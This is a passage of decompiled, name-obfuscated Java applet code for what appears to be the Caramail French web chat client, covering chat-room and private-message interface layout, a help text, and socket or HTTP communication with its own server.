gridbagconstraints4.gridwidth = 1;
gridbagconstraints4.weightx = 0.0D;
gridbagconstraints4.weighty = 0.0D;
gridbaglayout4.setConstraints(a181, gridbagconstraints4);
a179.add(a181);
gridbagconstraints4.gridx = 1;
gridbagconstraints4.weightx = 1.0D;
gridbaglayout4.setConstraints(a180, gridbagconstraints4);
a179.add(a180);
gridbagconstraints4.gridx = 2;
gridbagconstraints4.weightx = 0.0D;
gridbaglayout4.setConstraints(a182, gridbagconstraints4);
a179.add(a182);
gridbagconstraints4.gridx = 3;
gridbaglayout4.setConstraints(a183, gridbagconstraints4);
a179.add(a183);
}
a174 = new CaraLabelPanel("Listes des messages");
a174.setLayout(new BorderLayout(8, 8));
a174.add("Center", a179);
GridBagLayout gridbaglayout5 = new GridBagLayout();
a178.setLayout(gridbaglayout5);
GridBagConstraints gridbagconstraints5 = new GridBagConstraints();
gridbagconstraints5.gridx = 0;
gridbagconstraints5.gridy = 0;
gridbagconstraints5.gridheight = 1;
gridbagconstraints5.gridwidth = 1;
gridbagconstraints5.weightx = 1.0D;
gridbagconstraints5.weighty = 1.0D;
gridbagconstraints5.fill = 1;
gridbagconstraints5.insets.top = 4;
gridbagconstraints5.insets.left = 4;
gridbagconstraints5.insets.bottom = 4;
gridbagconstraints5.insets.right = 4;
gridbaglayout5.setConstraints(a174, gridbagconstraints5);
a178.add(a174);
if(!a94)
{
gridbagconstraints5.gridx = 1;
gridbaglayout5.setConstraints(a175, gridbagconstraints5);
a178.add(a175);
}
a196 = new Button("Salons permanents");
a197 = new Button("Salons publics");
a198 = new Button("Cr\351er");
a199 = new Button("Rejoindre");
a200 = new Button("Rejoindre");
a201 = new Button("Corbeille");
a201.setBackground(Color.orange);
a204 = new Label("Type du salon :");
a205 = new Label("Nom du salon :");
a206 = new Label("Nom du salon :");
a192 = new CaraLabelPanel("Listes des salons");
a193 = new CaraLabelPanel("Cr\351ation d'un salon");
a194 = new CaraLabelPanel("Rejoindre un salon priv\351");
a202[0] = new Checkbox("Public", a203, true);
a202[1] = new Checkbox("Priv\351", a203, false);
a185.setLayout(new BorderLayout(0, 0));
a185.add("Center", a125);
a185.add("East", a195);
GridBagLayout gridbaglayout6 = new GridBagLayout();
a189.setLayout(gridbaglayout6);
GridBagConstraints gridbagconstraints6 = new GridBagConstraints();
gridbagconstraints6.gridx = 0;
gridbagconstraints6.gridy = 0;
gridbagconstraints6.gridwidth = 1;
gridbagconstraints6.weightx = 0.0D;
gridbagconstraints6.weighty = 0.0D;
gridbagconstraints6.fill = 1;
gridbagconstraints6.insets.top = 4;
gridbagconstraints6.insets.left = 4;
gridbagconstraints6.insets.bottom = 4;
gridbagconstraints6.insets.right = 4;
gridbaglayout6.setConstraints(a196, gridbagconstraints6);
a189.add(a196);
gridbagconstraints6.gridx = 1;
gridbaglayout6.setConstraints(a197, gridbagconstraints6);
a189.add(a197);
gridbagconstraints6.gridx = 2;
gridbagconstraints6.weightx = 1.0D;
gridbagconstraints6.gridwidth = 1;
gridbaglayout6.setConstraints(a187, gridbagconstraints6);
a189.add(a187);
gridbagconstraints6.gridx = 3;
gridbagconstraints6.weightx = 0.0D;
gridbagconstraints6.gridwidth = 2;
gridbaglayout6.setConstraints(a188, gridbagconstraints6);
a189.add(a188);
gridbagconstraints6.gridx = 0;
gridbagconstraints6.gridy = 1;
gridbagconstraints6.gridwidth = 5;
gridbagconstraints6.weighty = 1.0D;
gridbagconstraints6.weightx = 1.0D;
gridbaglayout6.setConstraints(a185, gridbagconstraints6);
a189.add(a185);
if(!a94)
{
gridbagconstraints6.gridx = 0;
gridbagconstraints6.gridy = 2;
gridbagconstraints6.gridwidth = 4;
gridbagconstraints6.weighty = 0.0D;
gridbagconstraints6.weightx = 1.0D;
gridbaglayout6.setConstraints(a207, gridbagconstraints6);
a189.add(a207);
gridbagconstraints6.gridx = 4;
gridbagconstraints6.gridwidth = 1;
gridbagconstraints6.weightx = 0.0D;
gridbaglayout6.setConstraints(a199, gridbagconstraints6);
a189.add(a199);
}
else
{
gridbagconstraints6.gridx = 0;
gridbagconstraints6.gridy = 2;
gridbagconstraints6.gridwidth = 3;
gridbagconstraints6.weighty = 0.0D;
gridbagconstraints6.weightx = 1.0D;
gridbaglayout6.setConstraints(a207, gridbagconstraints6);
a189.add(a207);
gridbagconstraints6.gridx = 3;
gridbagconstraints6.gridwidth = 1;
gridbagconstraints6.weightx = 0.0D;
gridbaglayout6.setConstraints(a199, gridbagconstraints6);
a189.add(a199);
gridbagconstraints6.gridx = 4;
gridbaglayout6.setConstraints(a201, gridbagconstraints6);
a189.add(a201);
}
GridBagLayout gridbaglayout7 = new GridBagLayout();
a191.setLayout(gridbaglayout7);
GridBagConstraints gridbagconstraints7 = new GridBagConstraints();
gridbagconstraints7.gridx = 1;
gridbagconstraints7.gridy = 0;
gridbagconstraints7.gridwidth = 1;
gridbagconstraints7.weightx = 0.0D;
gridbagconstraints7.weighty = 0.0D;
gridbagconstraints7.fill = 1;
gridbagconstraints7.insets.top = 4;
gridbagconstraints7.insets.left = 4;
gridbagconstraints7.insets.bottom = 4;
gridbagconstraints7.insets.right = 4;
gridbagconstraints7.gridx = 0;
gridbaglayout7.setConstraints(a206, gridbagconstraints7);
a191.add(a206);
gridbagconstraints7.gridx = 1;
gridbagconstraints7.weightx = 1.0D;
gridbaglayout7.setConstraints(a209, gridbagconstraints7);
a191.add(a209);
gridbagconstraints7.gridx = 2;
gridbagconstraints7.weightx = 0.0D;
gridbaglayout7.setConstraints(a200, gridbagconstraints7);
a191.add(a200);
GridBagLayout gridbaglayout8 = new GridBagLayout();
a190.setLayout(gridbaglayout8);
GridBagConstraints gridbagconstraints8 = new GridBagConstraints();
gridbagconstraints8.gridx = 0;
gridbagconstraints8.gridy = 0;
gridbagconstraints8.gridheight = 1;
gridbagconstraints8.gridwidth = 1;
gridbagconstraints8.weightx = 0.0D;
gridbagconstraints8.weighty = 0.0D;
gridbagconstraints8.fill = 1;
gridbagconstraints8.insets.top = 4;
gridbagconstraints8.insets.left = 4;
gridbagconstraints8.insets.bottom = 4;
gridbagconstraints8.insets.right = 4;
gridbaglayout8.setConstraints(a204, gridbagconstraints8);
a190.add(a204);
gridbagconstraints8.gridx = 1;
gridbaglayout8.setConstraints(a202[0], gridbagconstraints8);
a190.add(a202[0]);
gridbagconstraints8.gridx = 2;
gridbagconstraints8.gridwidth = 2;
gridbaglayout8.setConstraints(a202[1], gridbagconstraints8);
a190.add(a202[1]);
gridbagconstraints8.gridwidth = 1;
gridbagconstraints8.gridx = 0;
gridbagconstraints8.gridy = 2;
gridbaglayout8.setConstraints(a205, gridbagconstraints8);
a190.add(a205);
gridbagconstraints8.gridx = 1;
gridbagconstraints8.weightx = 1.0D;
gridbagconstraints8.gridwidth = 2;
gridbaglayout8.setConstraints(a208, gridbagconstraints8);
a190.add(a208);
gridbagconstraints8.gridx = 3;
gridbagconstraints8.weightx = 0.0D;
gridbaglayout8.setConstraints(a198, gridbagconstraints8);
a190.add(a198);
a192.setLayout(new BorderLayout(0, 0));
a192.add("Center", a189);
a193.setLayout(new BorderLayout(0, 0));
a193.add("Center", a190);
a194.setLayout(new BorderLayout(0, 0));
a194.add("Center", a191);
GridBagLayout gridbaglayout9 = new GridBagLayout();
a184.setLayout(gridbaglayout9);
GridBagConstraints gridbagconstraints9 = new GridBagConstraints();
gridbagconstraints9.gridx = 0;
gridbagconstraints9.gridy = 0;
gridbagconstraints9.gridheight = 3;
gridbagconstraints9.gridwidth = 1;
gridbagconstraints9.weightx = 2D;
gridbagconstraints9.weighty = 1.0D;
gridbagconstraints9.fill = 1;
gridbagconstraints9.insets.top = 4;
gridbagconstraints9.insets.left = 4;
gridbagconstraints9.insets.bottom = 4;
gridbagconstraints9.insets.right = 4;
gridbaglayout9.setConstraints(a192, gridbagconstraints9);
a184.add(a192);
gridbagconstraints9.gridx = 1;
gridbagconstraints9.weighty = 0.0D;
gridbagconstraints9.weightx = 1.0D;
gridbagconstraints9.gridheight = 1;
gridbaglayout9.setConstraints(a193, gridbagconstraints9);
a184.add(a193);
gridbagconstraints9.gridy = 1;
gridbaglayout9.setConstraints(a194, gridbagconstraints9);
a184.add(a194);
gridbagconstraints9.gridy = 2;
gridbagconstraints9.weighty = 1.0D;
gridbaglayout9.setConstraints(a186, gridbagconstraints9);
a184.add(a186);
for(int i = 0; i < 20; i++)
{
a158[i] = new CaraLabelPanel();
a159[i] = new Button("Ignorer et terminer la conversation");
a160[i] = new Button("Envoyer");
a162[i] = new TextField();
a163[i] = new Choice();
a164[i] = new Choice();
a165[i] = new Button("Terminer la conversation");
a154[i] = new Panel();
a153[i] = new Panel();
a152[i] = new Panel();
a155[i] = new Panel();
a161[i] = new Button("Expulser");
a156[i] = new LightScrollbar(1);
a157[i] = new CaraTrucCanvas(a156[i], 40, false, true, "", "Helvetica", 10, 2, 4, a111, false, false, "", 0, -1);
a154[i].setLayout(new BorderLayout(0, 0));
a154[i].add("Center", a157[i]);
a154[i].add("East", a156[i]);
a163[i].addItem("Noir");
a163[i].addItem("Bleu");
a163[i].addItem("Rouge");
a163[i].addItem("Rose");
a163[i].addItem("Orange");
a163[i].addItem("Gris");
a163[i].addItem("Bleu nuit");
a163[i].addItem("Bordeaux");
a163[i].addItem("Vert");
a163[i].addItem("Mauve");
a163[i].addItem("Or");
a164[i].addItem("Parler");
a164[i].addItem("Murmurer");
a164[i].addItem("Hurler");
a158[i].setLayout(new BorderLayout(0, 8));
GridBagLayout gridbaglayout10 = new GridBagLayout();
a153[i].setLayout(gridbaglayout10);
GridBagConstraints gridbagconstraints10 = new GridBagConstraints();
gridbagconstraints10.gridx = 0;
gridbagconstraints10.gridy = 0;
gridbagconstraints10.gridwidth = 9;
gridbagconstraints10.weightx = 1.0D;
gridbagconstraints10.weighty = 1.0D;
gridbagconstraints10.fill = 1;
gridbagconstraints10.insets.top = 4;
gridbagconstraints10.insets.left = 4;
gridbagconstraints10.insets.bottom = 4;
gridbagconstraints10.insets.right = 4;
gridbaglayout10.setConstraints(a154[i], gridbagconstraints10);
a153[i].add(a154[i]);
gridbagconstraints10.gridx = 0;
gridbagconstraints10.gridy = 1;
gridbagconstraints10.weighty = 0.0D;
gridbaglayout10.setConstraints(a162[i], gridbagconstraints10);
a153[i].add(a162[i]);
gridbagconstraints10.gridy = 2;
gridbagconstraints10.gridx = 0;
gridbagconstraints10.gridwidth = 1;
gridbagconstraints10.weightx = 0.0D;
gridbaglayout10.setConstraints(a163[i], gridbagconstraints10);
a153[i].add(a163[i]);
gridbagconstraints10.gridx = 1;
gridbaglayout10.setConstraints(a164[i], gridbagconstraints10);
a153[i].add(a164[i]);
gridbagconstraints10.gridx = 2;
gridbagconstraints10.weightx = 1.0D;
gridbagconstraints10.gridwidth = 3;
gridbaglayout10.setConstraints(a155[i], gridbagconstraints10);
a153[i].add(a155[i]);
gridbagconstraints10.gridx = 5;
gridbagconstraints10.gridwidth = 1;
gridbaglayout10.setConstraints(a159[i], gridbagconstraints10);
a153[i].add(a159[i]);
gridbagconstraints10.gridx = 6;
gridbaglayout10.setConstraints(a165[i], gridbagconstraints10);
a153[i].add(a165[i]);
if(!a94)
{
gridbagconstraints10.gridwidth = 2;
gridbagconstraints10.gridx = 7;
gridbaglayout10.setConstraints(a160[i], gridbagconstraints10);
a153[i].add(a160[i]);
}
else
{
gridbagconstraints10.gridx = 7;
gridbaglayout10.setConstraints(a160[i], gridbagconstraints10);
a153[i].add(a160[i]);
gridbagconstraints10.gridx = 8;
gridbaglayout10.setConstraints(a161[i], gridbagconstraints10);
a153[i].add(a161[i]);
a161[i].setBackground(Color.orange);
}
a158[i].setLayout(new BorderLayout(0, 0));
a158[i].add("Center", a153[i]);
GridBagLayout gridbaglayout11 = new GridBagLayout();
a152[i].setLayout(gridbaglayout11);
GridBagConstraints gridbagconstraints11 = new GridBagConstraints();
gridbagconstraints11.gridx = 0;
gridbagconstraints11.gridy = 0;
gridbagconstraints11.gridheight = 1;
gridbagconstraints11.gridwidth = 1;
gridbagconstraints11.weightx = 1.0D;
gridbagconstraints11.weighty = 1.0D;
gridbagconstraints11.fill = 1;
gridbagconstraints11.insets.top = 4;
gridbagconstraints11.insets.left = 4;
gridbagconstraints11.insets.bottom = 4;
gridbagconstraints11.insets.right = 4;
gridbaglayout11.setConstraints(a158[i], gridbagconstraints11);
a152[i].add(a158[i]);
a166[i] = "";
a167[i] = "";
a168[i] = false;
a169[i] = "";
a170[i] = "";
a171[i] = "";
}

a221 = new Label("Age :");
a222 = new Label("Pseudo :");
a223 = new Label("Ville :");
a224 = new Label("Sexe :");
a227 = new Button("Dialoguer en priv\351");
a228 = new Button("Ignorer");
a229 = new Button("Rejoindre");
a230 = new Button("Chercher");
a231 = new Button("Chercher");
a232 = new Button("Chercher");
char c = 'a';
a235.addItem("Autres");
a236.addItem("Autres");
for(int j = 0; j < 26; j++)
{
Character character = new Character(c);
a236.addItem("Commen\347ant par " + character.toString());
a235.addItem("Commen\347ant par " + character.toString());
c++;
}

for(int k = 0; k < a112.length; k++)
a234.addItem(a112[k]);

a237.addItem("Tous");
a237.addItem("Femme");
a237.addItem("Homme");
a237.addItem("Je ne sais pas");
a211.setLayout(new BorderLayout(0, 0));
a211.add("Center", a124);
a211.add("East", a226);
GridBagLayout gridbaglayout12 = new GridBagLayout();
a212.setLayout(gridbaglayout12);
GridBagConstraints gridbagconstraints12 = new GridBagConstraints();
gridbagconstraints12.gridx = 0;
gridbagconstraints12.gridy = 0;
gridbagconstraints12.gridwidth = 5;
gridbagconstraints12.weightx = 1.0D;
gridbagconstraints12.weighty = 2D;
gridbagconstraints12.fill = 1;
gridbagconstraints12.insets.top = 4;
gridbagconstraints12.insets.left = 4;
gridbagconstraints12.insets.bottom = 4;
gridbagconstraints12.insets.right = 4;
gridbaglayout12.setConstraints(a211, gridbagconstraints12);
a212.add(a211);
gridbagconstraints12.gridy = 1;
gridbagconstraints12.weighty = 0.0D;
gridbaglayout12.setConstraints(a219, gridbagconstraints12);
a212.add(a219);
gridbagconstraints12.gridy = 2;
gridbagconstraints12.gridwidth = 2;
gridbagconstraints12.gridx = 0;
gridbagconstraints12.weightx = 1.0D;
gridbaglayout12.setConstraints(a216, gridbagconstraints12);
a212.add(a216);
gridbagconstraints12.gridx = 2;
gridbagconstraints12.weightx = 0.0D;
gridbagconstraints12.gridwidth = 1;
gridbaglayout12.setConstraints(a227, gridbagconstraints12);
a212.add(a227);
gridbagconstraints12.gridx = 3;
gridbaglayout12.setConstraints(a228, gridbagconstraints12);
a212.add(a228);
gridbagconstraints12.gridx = 4;
gridbaglayout12.setConstraints(a229, gridbagconstraints12);
a212.add(a229);
GridBagLayout gridbaglayout13 = new GridBagLayout();
a214.setLayout(gridbaglayout13);
GridBagConstraints gridbagconstraints13 = new GridBagConstraints();
gridbagconstraints13.gridx = 0;
gridbagconstraints13.gridy = 0;
gridbagconstraints13.gridheight = 1;
gridbagconstraints13.gridwidth = 3;
gridbagconstraints13.weightx = 0.0D;
gridbagconstraints13.weighty = 0.0D;
gridbagconstraints13.fill = 1;
gridbagconstraints13.anchor = 13;
gridbagconstraints13.insets.top = 4;
gridbagconstraints13.insets.left = 4;
gridbagconstraints13.insets.bottom = 4;
gridbagconstraints13.insets.right = 4;
gridbaglayout13.setConstraints(a220, gridbagconstraints13);
a214.add(a220);
gridbagconstraints13.gridx = 0;
gridbagconstraints13.gridy = 1;
gridbagconstraints13.gridwidth = 1;
gridbaglayout13.setConstraints(a224, gridbagconstraints13);
a214.add(a224);
gridbagconstraints13.gridx = 1;
gridbaglayout13.setConstraints(a237, gridbagconstraints13);
a214.add(a237);
gridbagconstraints13.gridx = 0;
gridbagconstraints13.gridy = 2;
gridbaglayout13.setConstraints(a221, gridbagconstraints13);
a214.add(a221);
gridbagconstraints13.gridx = 1;
gridbaglayout13.setConstraints(a234, gridbagconstraints13);
a214.add(a234);
gridbagconstraints13.gridx = 2;
gridbaglayout13.setConstraints(a230, gridbagconstraints13);
a214.add(a230);
gridbagconstraints13.gridy = 3;
gridbagconstraints13.gridx = 0;
gridbaglayout13.setConstraints(a222, gridbagconstraints13);
a214.add(a222);
gridbagconstraints13.gridx = 1;
gridbaglayout13.setConstraints(a235, gridbagconstraints13);
a214.add(a235);
gridbagconstraints13.gridx = 2;
gridbaglayout13.setConstraints(a231, gridbagconstraints13);
a214.add(a231);
gridbagconstraints13.gridy = 4;
gridbagconstraints13.gridx = 0;
gridbaglayout13.setConstraints(a223, gridbagconstraints13);
a214.add(a223);
gridbagconstraints13.gridx = 1;
gridbaglayout13.setConstraints(a236, gridbagconstraints13);
a214.add(a236);
gridbagconstraints13.gridx = 2;
gridbaglayout13.setConstraints(a232, gridbagconstraints13);
a214.add(a232);
a217 = new CaraLabelPanel("Listes des connect\351s");
a218 = new CaraLabelPanel("Recherche par age ou ville ou pseudo ET sexe");
a217.setLayout(new BorderLayout(0, 0));
a217.add("Center", a212);
a218.setLayout(new BorderLayout(0, 0));
a218.add("Center", a214);
GridBagLayout gridbaglayout14 = new GridBagLayout();
a210.setLayout(gridbaglayout14);
GridBagConstraints gridbagconstraints14 = new GridBagConstraints();
gridbagconstraints14.gridx = 0;
gridbagconstraints14.gridy = 0;
gridbagconstraints14.gridheight = 5;
gridbagconstraints14.gridwidth = 1;
gridbagconstraints14.weightx = 1.0D;
gridbagconstraints14.weighty = 1.0D;
gridbagconstraints14.fill = 1;
gridbagconstraints14.insets.top = 4;
gridbagconstraints14.insets.left = 4;
gridbagconstraints14.insets.bottom = 4;
gridbagconstraints14.insets.right = 4;
gridbaglayout14.setConstraints(a217, gridbagconstraints14);
a210.add(a217);
gridbagconstraints14.gridx = 1;
gridbagconstraints14.weighty = 0.0D;
gridbagconstraints14.gridheight = 1;
gridbagconstraints14.weightx = 0.0D;
gridbagconstraints14.fill = 1;
gridbaglayout14.setConstraints(a218, gridbagconstraints14);
a210.add(a218);
gridbagconstraints14.gridy = 2;
gridbagconstraints14.weighty = 1.0D;
gridbaglayout14.setConstraints(a215, gridbagconstraints14);
a210.add(a215);
a127.addElement(new CaraTrucLine("", "", "010000Bienvenue. Voici les \351l\351ments de base indispensables pour utiliser le dialogue en direct.", "", "", "", "", "com", "", "", true));
a127.addElement(new CaraTrucLine("", "", "010000 ", "", "", "", "", "com", "", "", false));
a127.addElement(new CaraTrucLine("", "", "010200DIALOGUER>> ", "", "", "", "", "com", "", "", true));
a127.addElement(new CaraTrucLine("", "", "010000 ", "", "", "", "", "com", "", "", false));
a127.addElement(new CaraTrucLine("", "", "010000Discuter en public :", "", "", "", "", "com", "", "", true));
a127.addElement(new CaraTrucLine("", "", "010000 ", "", "", "", "", "com", "", "", false));
a127.addElement(new CaraTrucLine("", "", "010000Les salons vous permettent de discuter \340 plusieurs.Pour parler, saisissez votre phrase en bas de la zone de dialogue et appuyez sur la touche Entr\351e.Pour r\351pondre \340 quelqu'un en salon, cliquez sur l'une de ses phrases avant de r\351pondre.", "", "", "", "", "com", "", "", false));
a127.addElement(new CaraTrucLine("", "", "010000 ", "", "", "", "", "com", "", "", false));
a127.addElement(new CaraTrucLine("", "", "010000Dialoguer en messages priv\351s :", "", "", "", "", "com", "", "", true));
a127.addElement(new CaraTrucLine("", "", "010000 ", "", "", "", "", "com", "", "", false));
a127.addElement(new CaraTrucLine("", "", "010000Les conversations priv\351es vous permettent de dialoguer avec une seule personne.Pour initier un dialogue priv\351, cliquez sur le nom d'une personne dans la liste des membres d'un salon, puis sur le bouton Dialoguer.", "", "", "", "", "com", "", "", false));
a127.addElement(new CaraTrucLine("", "", "010000Un onglet s'active en bas de l'\351cran vous permettant de discuter uniquement avec cette personne. Saisissez votre message en bas de la zone de dialogue et appuyez sur la touche Entr\351e. Lorsque quelque votre correspondant vous r\351pond en priv\351, l'onglet correspondant s'illumine, cliquez dessus pour r\351pondre.", "", "", "", "", "com", "", "", false));
a127.addElement(new CaraTrucLine("", "", "010000 ", "", "", "", "", "com", "", "", false));
a127.addElement(new CaraTrucLine("", "", "010200UTILISER LES SALONS >> ", "", "", "", "", "com", "", "", true));
a127.addElement(new CaraTrucLine("", "", "010000 ", "", "", "", "", "com", "", "", false));
a127.addElement(new CaraTrucLine("", "", "010000Changer de salon :", "", "", "", "", "com", "", "", true));
a127.addElement(new CaraTrucLine("", "", "010000 ", "", "", "", "", "com", "", "", false));
a127.addElement(new CaraTrucLine("", "", "010000Il existe des dizaines de salons permettant de discuter \340 plusieurs. Les salons permanents sont propos\351s par Caramail. Les salons publics sont cr\351\351s par les Caramailien(ne)s.", "", "", "", "", "com", "", "", false));
a127.addElement(new CaraTrucLine("", "", "010000 ", "", "", "", "", "com", "", "", false));
a127.addElement(new CaraTrucLine("", "", "010000Pour entrer dans un salon permanent, cliquez sur l'onglet Salons. Les salons permanents s'affichent, cliquez sur le salon d\351sir\351 puis sur le bouton Rejoindre. Pour entrer dans un salon public, cliquez sur le bouton Salons publics, puis sur le salon d\351sir\351 et sur le bouton Rejoindre.", "", "", "", "", "com", "", "", false));
a127.addElement(new CaraTrucLine("", "", "010000 ", "", "", "", "", "com", "", "", false));
a127.addElement(new CaraTrucLine("", "", "010000Cr\351er un salon public ou priv\351 :", "", "", "", "", "com", "", "", true));
a127.addElement(new CaraTrucLine("", "", "010000 ", "", "", "", "", "com", "", "", false));
a127.addElement(new CaraTrucLine("", "", "010000Cliquez sur l'onglet Salons. Donnez un nom au salon, puis cochez Public pour que le salon soit visible par tous ou Priv\351 pour que le salon soit invisible (donnez son nom \340 vos amis en dialogue priv\351). Cliquez sur Cr\351er", "", "", "", "", "com", "", "", false));
a127.addElement(new CaraTrucLine("", "", "010000 ", "", "", "", "", "com", "", "", false));
a127.addElement(new CaraTrucLine("", "", "010000Entrer dans un salon priv\351 :", "", "", "", "", "com", "", "", true));
a127.addElement(new CaraTrucLine("", "", "010000 ", "", "", "", "", "com", "", "", false));
a127.addElement(new CaraTrucLine("", "", "010000Les salons priv\351s sont r\351serv\351s aux personnes qui en connaissent le nom. Cliquez sur l'onglet Salons. Saisissez le nom du salon. Cliquez sur Rejoindre.", "", "", "", "", "com", "", "", false));
a127.addElement(new CaraTrucLine("", "", "010000 ", "", "", "", "", "com", "", "", false));
a127.addElement(new CaraTrucLine("", "", "010200RECHERCHER >> ", "", "", "", "", "com", "", "", true));
a127.addElement(new CaraTrucLine("", "", "010000 ", "", "", "", "", "com", "", "", false));
a127.addElement(new CaraTrucLine("", "", "010000Vous pouvez rechercher un(e) ami(e) ou les personnes v\351rifiant certains crit\350res. Cliquez sur l'onglet Connect\351(e)s, sp\351cifiez qui vous recherchez (en pr\351cisant le sexe ET un des crit\350res parmis l'\342ge, la ville ou le pseudo) puis appuyez sur Chercher. La liste des personnes correspondant \340 votre recherche appara\356t. Cliquez sur le nom d'une personne puis sur Dialoguer pour converser en priv\351 avec elle.", "", "", "", "", "com", "", "", false));
a127.addElement(new CaraTrucLine("", "", "010000 ", "", "", "", "", "com", "", "", false));
a127.addElement(new CaraTrucLine("", "", "010000Merci de rester correct et courtois sur le dialogue en direct.", "", "", "", "", "com", "", "", false));
a127.addElement(new CaraTrucLine("", "", "010000 ", "", "", "", "", "com", "", "", false));
a127.addElement(new CaraTrucLine("", "", "010000Bonnes discussions ;-)", "", "", "", "", "com", "", "", false));
a127.addElement(new CaraTrucLine("", "", "010000 ", "", "", "", "", "com", "", "", false));
a127.addElement(new CaraTrucLine("", "", "010000Remarque : les heureux possesseurs d'un navigateur Internet Explorer de version 4 ou 5 et un PC peuvent \340 pr\351sent redimensionner la fen\352tre.", "", "", "", "", "com", "", "", true));
a130 = new CaraTrucOnglet();
a130.a507("Salons", a184);
a130.a507("Connect\351(e)s", a210);
a130.a507("Infos CaraMail", a178);
setBackground(Color.black);
setLayout(new BorderLayout(0, 0));
add("Center", a130);
}

private void a276(int i)
{
a166[i] = "";
a167[i] = "";
a168[i] = false;
a157[i].a446();
}

private int a279(String s, String s1)
{
int i;
for(i = 0; i < 20 && a166[i] != ""; i++);
if(i >= 20)
{
return -1;
}
else
{
a166[i] = s;
a167[i] = s1;
a164[i].select(0);
a163[i].select(0);
a158[i].a524("Dialogue priv\351 avec " + a167[i]);
a157[i].a446();
a162[i].setText("");
a162[i].requestFocus();
a157[i].a419();
return i;
}
}

private String a280()
{
String s = "rand" + a84 + a72++;
return s;
}

private boolean a283(String s)
{
try
{
if(!a93)
{
out.print(s + "\n");
out.flush();
}
else
{
URL url = new URL("http://" + getCodeBase().getHost() + "/" + a280() + "id" + a79 + "jid" + a80 + "cmd" + URLEncoder.encode(s));
URLConnection urlconnection = url.openConnection();
urlconnection.setAllowUserInteraction(false);
urlconnection.setUseCaches(false);
urlconnection.setRequestProperty("Cache-control", "no-cache");
DataInputStream datainputstream = new DataInputStream(urlconnection.getInputStream());
datainputstream.readLine();
datainputstream.close();
}
}
catch(IOException _ex)
{
if(!a93 && !a298())
a327(0);
}
return true;
}

private boolean a288(int i)
{
try
{
byte abyte0[] = new byte[0x30d40];
a99 = new Socket(getCodeBase().getHost(), i);
InputStream inputstream = a99.getInputStream();
DataOutputStream dataoutputstream = new DataOutputStream(a99.getOutputStream());
dataoutputstream.writeChars("667\n");
dataoutputstream.flush();
inputstream.read(abyte0);
dataoutputstream.close();
a99.close();
a99 = null;
return true;
}
catch(IOException _ex)
{
a99 = null;
}
return false;
}

private boolean a291(int i)
{
try
{
a99 = new Socket(getCodeBase().getHost(), i);
in = a99.getInputStream();
out = new PrintStream(a99.getOutputStream(), true);
out.flush();
a93 = false;
return true;
}
catch(IOException _ex)
{
a99 = null;
}
return false;
}

private boolean a292()
{
boolean flag = true;
int i = 0;
String s;
if(!a97)
{
if(a95)
s = "http://" + getCodeBase().getHost() + "/" + a280() + URLEncoder.encode("cmd" + (!a94 ? "1" : "201") + "\t" + a77 + "\t" + a78 + "\t" + a84);
else
s = "http://" + getCodeBase().getHost() + "/" + a280() + URLEncoder.encode("cmd" + (!a94 ? "0" : "200") + "\t" + a77 + "\t" + a78 + "\t" + a84);
}
else
{
s = "http://" + getCodeBase().getHost() + "/" + a280() + "id" + a79 + "jid" + a80;
}
while(flag)
{
try
{
URL url = new URL(s);
URLConnection urlconnection = url.openConnection();
urlconnection.setAllowUserInteraction(false);
urlconnection.setUseCaches(false);
urlconnection.setRequestProperty("Cache-control", "no-cache");
in = urlconnection.getInputStream();
a93 = true;
return true;
}
catch(IOException _ex) { }
if(++i > 5)
flag = false;
}

return false;
}

private boolean a297()
{
if(a288(a70) && !a95)
if(a291(a70))
{
a283((!a94 ? "0" : "200") + "\t" + a77 + "\t" + a78 + "\t" + a84);
return true;
}
else
{
return false;
}
return a292();
}

private boolean a298()
{
if(a288(a70))
{
if(a291(a70))
{
a283("3\t" + a79 + "\t" + a80);
return true;
}
else
{
return false;
}
}
else
{
return false;
}
}

private boolean a299(String s)
{
StringTokenizer stringtokenizer = new StringTokenizer(s, "\t\n");
if(!stringtokenizer.hasMoreElements())
return false;
int i;
try
{
i = Integer.parseInt(stringtokenizer.nextToken());
}
catch(NumberFormatException _ex)
{
i = 100;
}
switch(i)
{
case 100: // 'd'
case 204:
default:
break;

case 10: // '\n'
if(stringtokenizer.countTokens() != 3)
return false;
a78 = stringtokenizer.nextToken();
a79 = stringtokenizer.nextToken();
a80 = stringtokenizer.nextToken();
if(a103 == 0)
a283("20\t" + a83);
else
a283("22\t" + a83);
a283("80\t" + a74 + "\t" + a75 + "\t" + a76);
if(a75.compareTo("0") == 0)
a75 = "F";
else
if(a75.compareTo("1") == 0)
a75 = "H";
else
a75 = "X";
if(a94)
{
a283("14\t0");
a183.enable();
a183.setState(false);
}
a130.repaint();
break;

case 11: // '\013'
case 12: // '\f'
case 13: // '\r'
a327(i);
break;

case 16: // '\020'
a101.removeAllElements();
for(; stringtokenizer.hasMoreTokens(); a101.addElement(stringtokenizer.nextToken()));
a124.a418();
a128.a418();
break;

case 14: // '\016'
if(stringtokenizer.countTokens() != 1)
return false;
if(stringtokenizer.nextToken().equals("4"))
{
if(a94)
a183.setState(true);
break;
}
if(a94)
a183.setState(false);
break;

case 70: // 'F'
if(stringtokenizer.countTokens() != 3)
return false;
String s1;
if(!a101.contains(s1 = stringtokenizer.nextToken()))
{
String s4 = s1;
String s15 = stringtokenizer.nextToken();
String s23 = stringtokenizer.nextToken();
boolean flag = false;
if(s23.indexOf(a78 + " ") != -1 || s23.indexOf(a78 + ">") != -1)
{
flag = true;
if(!s4.equals(a79) && !a130.a517().equals(a329(a83)))
a130.a514(a329(a83), Color.orange);
}
if(s4.equals(a79))
{
a129.addElement(new CaraTrucLine(s4, s15, s23, a74, a75, a76, "", "com", "", "", flag));
a129.a419();
break;
}
if(a129.a430(s4, 0) == null)
{
a283("82\t" + s1);
a129.addElement(new CaraTrucLine(s4, s15, s23, "", "", "", "", "com", "", "", flag));
a129.a419();
}
else
{
CaraTrucLine caratrucline = a129.a430(s4, 0);
a129.addElement(new CaraTrucLine(s4, s15, s23, caratrucline.a465(3), caratrucline.a465(4), caratrucline.a465(5), "", "com", "", "", flag));
a129.a419();
}
}
else
{
return false;
}
break;

case 60: // '<'
String s2;
while(stringtokenizer.hasMoreElements())
if(!a101.contains(s2 = stringtokenizer.nextToken()))
{
String s5 = s2;
String s16 = stringtokenizer.nextToken();
String s24 = stringtokenizer.nextToken();
boolean flag1 = false;
if(s24.indexOf(a78 + " ") != -1 || s24.indexOf(a78 + ">") != -1)
{
flag1 = true;
if(!s5.equals(a79) && !a130.a517().equals(a329(a83)))
a130.a514(a329(a83), Color.orange);
}
if(s5.equals(a79))
a129.addElement(new CaraTrucLine(s5, s16, s24, a74, a75, a76, "", "com", "", "", flag1));
else
